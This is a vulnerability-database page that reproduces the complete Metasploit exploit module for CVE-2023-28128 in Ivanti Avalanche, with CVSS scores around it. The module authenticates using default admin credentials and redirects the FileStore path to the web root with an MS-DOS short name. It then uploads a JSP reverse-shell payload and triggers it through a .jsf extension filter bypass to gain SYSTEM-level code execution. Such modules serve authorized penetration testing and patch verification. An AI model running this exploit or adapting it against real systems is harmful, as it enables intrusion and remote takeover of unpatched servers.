Lucene search

K
metasploitPiotr Bazydlo, Shelby PaceMSF:EXPLOIT-WINDOWS-HTTP-IVANTI_AVALANCHE_FILESTORECONFIG_UPLOAD-
HistoryMay 04, 2023 - 11:03 p.m.

Ivanti Avalanche FileStoreConfig File Upload

2023-05-0423:03:02
Piotr Bazydlo, Shelby Pace
www.rapid7.com
88
ivanti avalanche
file upload
rce
ms-dos style
central filestore
jsp file
nt authority\system
remote code execution
cve-2023-28128
java
privileged
authentication
unpatched version

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

0.13 Low

EPSS

Percentile

95.5%

Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short names in the configuration path for the Central FileStore. Because of this, an administrator can change the default path to the web root of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Avalanche FileStoreConfig File Upload',
        'Description' => %q{
          Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short
          names in the configuration path for the Central FileStore. Because of
          this, an administrator can change the default path to the web root
          of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Piotr Bazydlo', # @chudypb - Vulnerability Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'],
          ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'],
          ['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'],
          ['CVE', '2023-28128']
        ],
        'Platform' => ['win', 'java'],
        'Privileged' => true,
        'Arch' => ARCH_JAVA,
        'Targets' => [
          [ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }]
        ],
        'DisclosureDate' => '2023-04-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]),
        OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]),
        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ])
      ]
    )
  end

  def check
    # Cleanup should not be needed after doing just a check.
    @cleanup_needed = false

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'GET'
    )

    return CheckCode::Unknown('Failed to receive a response from the application') unless res

    unless res.body.include?('Avalanche - User Login')
      return CheckCode::Safe('Application does not appear to be Ivanti Avalanche')
    end

    html = res.get_html_document
    elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) }
    return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem

    version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/)
    return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2

    version = version[1]
    vprint_status("Version of Ivanti Avalanche appears to be v#{version}")
    ver_no = Rex::Version.new(version)
    patched_version = Rex::Version.new('6.4.0.186')

    if ver_no >= patched_version
      CheckCode::Safe('Target has been patched!')
    elsif ver_no < patched_version
      CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!')
    else
      CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}")
    end
  end

  def authenticate
    if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
      fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login')

    html = res.get_html_document
    view_state = get_view_state(html)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'loginForm' => 'loginForm',
        'j_idt8' => '',
        'loginField' => datastore['USERNAME'],
        'passwordField' => datastore['PASSWORD'],
        'TextCaptchaAnswer' => '',
        'javax.faces.ViewState' => view_state,
        'loginTableButton' => 'loginTableButton'
      }
    )

    unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf')
      fail_with(Failure::UnexpectedReply, 'Login failed')
    end
  end

  def get_view_state(html)
    view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text

    view_state
  end

  def configure_filestore
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
      fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration')
    end

    html = res.get_html_document
    view_state = get_view_state(html)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state

    @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path
    print_status("Original FileStore config path: '#{@original_config_path}'")

    # determine drive letter
    drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/)
    fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3
    drive_letter = drive_letter[1]

    new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web"
    print_status("Changing FileStore config path to '#{new_config_path}'")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
        'formFileStoreConfig' => 'formFileStoreConfig',
        'txtUncPath' => new_config_path,
        'txtVelocityFolder' => '',
        'javax.faces.ViewState' => view_state
      }
    )

    input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first
    if input_field_html.blank?
      fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!')
    elsif input_field_html[:value] != new_config_path
      fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path')
    end
  end

  def get_directory_val(res, dir_name)
    html = res.get_html_document
    results = html.xpath('//tr[contains(@class, "DIRECTORY")]')
    fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results

    expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name }
    fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir
    data_rk = expand_dir.at('@data-rk')&.value
    fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk

    data_rk
  end

  def expand_folder(data_rk, view_state)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
        'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
        'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree',
        'fileStoreTree_dlgFileStoreTree_expand' => data_rk,
        'javax.faces.ViewState' => view_state
      }
    )
  end

  def select_folder(data_rk, view_state)
    @cleanup_needed = true
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' =>
      {
        'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
        'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
        'javax.faces.behavior.event' => 'select',
        'javax.faces.partial.event' => 'select',
        'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk,
        'form_filestore_tree' => 'form_filestore_tree',
        'fileStoreTree_dlgFileStoreTree_selection' => data_rk,
        'javax.faces.ViewState' => view_state
      }
    )
  end

  def upload_payload
    payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp"
    # need to 'select' webapps/AvalancheWeb to upload a file
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
    web_data_rk = get_directory_val(res, 'webapps')
    view_state = get_view_state(res.get_html_document)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state

    res = expand_folder(web_data_rk, view_state)
    fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res
    avalanche_data_rk = get_directory_val(res, 'AvalancheWeb')
    view_state = get_view_state(res.get_html_document)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state
    res = select_folder(avalanche_data_rk, view_state)
    fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res

    view_state = get_view_state(res.get_html_document)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state

    boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"

    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n"
    post_data << "upload-form\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"
    post_data << "#{view_state}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n"
    post_data << "true\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n"
    post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n"
    post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n"
    post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n"
    post_data << "Content-Type: application/octet-stream\r\n\r\n"
    post_data << "#{payload.encoded}\r\n"
    post_data << "--#{boundary}--\r\n"

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'data' => post_data,
      'headers' => {
        'Accept' => 'application/xml, text/xml, */*; q=0.01',
        'Faces-Request' => 'partial/ajax',
        'X-RequestedWith' => 'XMLHttpRequest',
        'Content-Type' => "multipart/form-data; boundary=#{boundary}",
        'Accept-Encoding' => 'gzip, deflate'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}")

    print_good("Successfully uploaded '#{payload_name}'")
    payload_name
  end

  def cleanup
    if @cleanup_needed == false
      return
    end

    restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.'
    print_status('Attempting to restore config path')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res
      print_error("Could not access FileStore config. #{restore_msg}")
      return
    end

    html = res.get_html_document
    view_state = get_view_state(html)
    unless view_state
      print_error("Failed to get view state. #{restore_msg}")
      return
    end

    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
        'formFileStoreConfig' => 'formFileStoreConfig',
        'txtUncPath' => @original_config_path,
        'txtVelocityFolder' => '',
        'javax.faces.ViewState' => view_state
      }
    )

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res&.body&.include?(@original_config_path)
      print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}")
      return
    end

    print_good('Successfully restored the FileStore config path')
  end

  def exploit
    # Starting off we shouldn't need cleanup, however if we get to the point were we start
    # to change config settings then we will need to clean that up.
    @cleanup_needed = false

    authenticate
    configure_filestore
    payload_name = upload_payload

    register_file_for_cleanup("webapps/#{payload_name}")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet
      'method' => 'GET',
      'keep_cookies' => true
    )
  end
end

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

0.13 Low

EPSS

Percentile

95.5%

Related for MSF:EXPLOIT-WINDOWS-HTTP-IVANTI_AVALANCHE_FILESTORECONFIG_UPLOAD-